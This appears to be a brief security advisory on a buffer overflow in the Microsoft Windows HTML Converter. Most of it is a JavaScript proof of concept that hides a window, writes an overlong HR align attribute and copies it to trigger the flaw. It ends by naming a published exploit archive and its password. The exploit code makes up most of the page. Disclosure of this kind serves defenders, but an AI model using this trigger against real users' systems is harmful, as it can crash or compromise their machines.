Microsoft Windows HTML Converter HR Align Buffer Overflow Vulnerability

Microsoft Windows HTML Converter HR Align Buffer Overflow Vulnerability

The following exploit was provided:

<script>
wnd=open("about:blank","","");
wnd.moveTo(screen.Width,screen.Height);
WndDoc=wnd.document;
WndDoc.open();
WndDoc.clear();
buffer="";
for(i=1;i<=127;i++)buffer+="X";
buffer+="DigitalScream";
WndDoc.write("<HR align='"+buffer+"'>");
WndDoc.execCommand("SelectAll");
WndDoc.execCommand("Copy");
wnd.close();
</script>

Exploit code has been published. The password to archive "test2.zip" is "3A3A":

/data/vulnerabilities/exploits/test2.zip